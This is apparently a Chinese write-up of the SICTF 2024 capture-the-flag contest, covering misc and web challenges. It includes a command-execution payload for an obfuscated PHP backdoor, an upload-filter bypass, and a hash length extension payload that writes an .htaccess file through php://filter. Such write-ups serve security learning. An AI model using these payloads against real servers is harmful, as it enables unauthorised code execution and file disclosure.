2024SICTF
MISC
签到
Picture
将一个图片的像素点分成了两个图片的像素点
gpt嗦一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from PIL import Image
# 打开加密图像和分离图像 image1 = Image.open('flag1.png') image2 = Image.open('flag2.png')
# 获取图像的大小 width, height = image1.size
# 创建一个新的图像用于保存解密后的结果 decrypted_image = Image.new(mode="RGB", size=image1.size)
# 遍历每个像素并恢复原始图像 for i in range(width): for j in range(height): tr, tg, tb = image1.getpixel((i, j)) r2, g2, b2 = image2.getpixel((i, j)) # 恢复原始像素值 r = (tr + r2) % 256 g = (tg + g2) % 256 b = (tb + b2) % 256 decrypted_image.putpixel((i, j), (r, g, b))
# 保存解密后的图像 decrypted_image.save('decrypted_flag.png')
|
之后stegslover red0通道找到flag
大模型
blend文件,用相应软件打开提示有问题
010看看,没见过这个文件不知道啥问题,感觉文件头有问题,新建一个同类型的文件
补上文件头BLEND
在打开即可
SICTF{fLAG1nTheM8deL}
Web
signin
robots.txt转到wh3re_1s_thi5_fl4g.php
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__); error_reporting(0); $s = "wKq=1MDcLg6yYsrnRYivbO7JoWQ9rBhCZuo4DlZOS7_I5+t=UKzp0hdV1FNL2EFd/nxam3cTbPARsw+8Eky5XUpfH0MeTQ3JXtkGf9qj_4NmlHi/SeIVaCAgxGj26vW8PBzu"; $a = $s[72] . $s[116] . $s[76] . $s[113] . $s[124] . $s[35] . $s[104] . $s[63] . $s[91] . $s[70] . $s[24] . $s[63] . $s[113]; $b = $s[38] . $s[123] . $s[115] . $s[89] . $s[96] . $s[60] . $s[75] . $s[108] . $s[32] . $s[107] . $s[37] . $s[131] . $s[38] . $s[25] . $s[75] . $s[100] . $s[63] . $s[68] . $s[57] . $s[11] . $s[70] . $s[77] . $s[3] . $s[3]; $c = $s[96] . $s[89] . $s[63] . $s[62] . $s[115] . $s[74] . $s[47] . $s[47]; $e = $payload = $s[115].$s[65].$s[86].$s[39].$s[70].$s[4].$s[108].$s[124].$s[26].$s[65].$s[16].$s[116].$s[115].$s[103].$s[98].$s[77].$s[92].$s[48].$s[12].$s[44].$s[115].$s[62].$s[58].$s[55].$s[92].$s[37].$s[55].$s[40].$s[116].$s[71].$s[16].$s[83].$s[92].$s[48].$s[75].$s[23].$s[5].$s[74].$s[47].$s[47]; $f = $a($b); $g = $a($a($e)); $h = $s[17].$s[130].$s[106].$s[76].$s[113].$s[68].$s[75].$s[109].$s[55].$s[65].$s[26].$s[47]; $i = $a($a($h)); $i($f()[$a($c)][$g]);
|
看上去有点难受,实际上加个print将各个变量输出出来就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
$s = "wKq=1MDcLg6yYsrnRYivbO7JoWQ9rBhCZuo4DlZOS7_I5+t=UKzp0hdV1FNL2EFd/nxam3cTbPARsw+8Eky5XUpfH0MeTQ3JXtkGf9qj_4NmlHi/SeIVaCAgxGj26vW8PBzu"; $a = $s[72] . $s[116] . $s[76] . $s[113] . $s[124] . $s[35] . $s[104] . $s[63] . $s[91] . $s[70] . $s[24] . $s[63] . $s[113]; $b = $s[38] . $s[123] . $s[115] . $s[89] . $s[96] . $s[60] . $s[75] . $s[108] . $s[32] . $s[107] . $s[37] . $s[131] . $s[38] . $s[25] . $s[75] . $s[100] . $s[63] . $s[68] . $s[57] . $s[11] . $s[70] . $s[77] . $s[3] . $s[3]; $c = $s[96] . $s[89] . $s[63] . $s[62] . $s[115] . $s[74] . $s[47] . $s[47]; $e = $payload = $s[115].$s[65].$s[86].$s[39].$s[70].$s[4].$s[108].$s[124].$s[26].$s[65].$s[16].$s[116].$s[115].$s[103].$s[98].$s[77].$s[92].$s[48].$s[12].$s[44].$s[115].$s[62].$s[58].$s[55].$s[92].$s[37].$s[55].$s[40].$s[116].$s[71].$s[16].$s[83].$s[92].$s[48].$s[75].$s[23].$s[5].$s[74].$s[47].$s[47]; $f = $a($b); $g = $a($a($e)); $h = $s[17].$s[130].$s[106].$s[76].$s[113].$s[68].$s[75].$s[109].$s[55].$s[65].$s[26].$s[47]; $i = $a($a($h)); $i($f()[$a($c)][$g]); print $a."\n"; print $b."\n";
print $c."\n"; print $e."\n"; print $f."\n"; print $g."\n"; print $h."\n"; print $i."\n";
print(system(get_defined_vars()[base64_decode("X0dFVA==")]["W3lc0me_t0_SICTF.2024"]));
|
解密出来就知道怎么做了
不要忘了php字符串解析的特性
传入W3lc0me[t0_SICTF.2024=cat /f*
upload
只允许上传png,jpg,gif等文件
上传1.jpg改后缀即可上传成功
执行命令
Die for now
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php highlight_file(__FILE__); include 'secret.php'; $input = base64_decode($_REQUEST['content']); $userhash = $_REQUEST['hash']; $content = $secret . $input; if (md5($secret) !== 'e3fbe9ad6999fcfcc3fa79a233a86748') { exit("No no, Don't change the secret."); } echo "Secret's length is " . strlen($secret) . " "; $hash = md5($content); // Is that enough? Let's see... if (strlen($userhash) == 32 && $hash === $userhash) { echo "Congratulations! I will write your input into file."; $filename = explode("[[", $input)[1]; // take it easy, i will change the return for you $filename = str_replace("\\n", "\n", str_replace("\0",'',$filename)); $content = $secret . $filename; file_put_contents($filename, $content); } else { exit("Think Extensively."); }
|
第一步是hash长度拓展攻击
第二步是php为协议的利用
之后formhex tobase64
1
| hash=ac6c260088cc41265c29b9f4a5f643cc&content=gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAABbW3BocDovL2ZpbHRlci93cml0ZT1zdHJpbmcuc3RyaXBfdGFncy8/PnBocF92YWx1ZSBhdXRvX3ByZXBlbmRfZmlsZSBmbGFnXG4jL3Jlc291cmNlPS5odGFjY2Vzcw==
|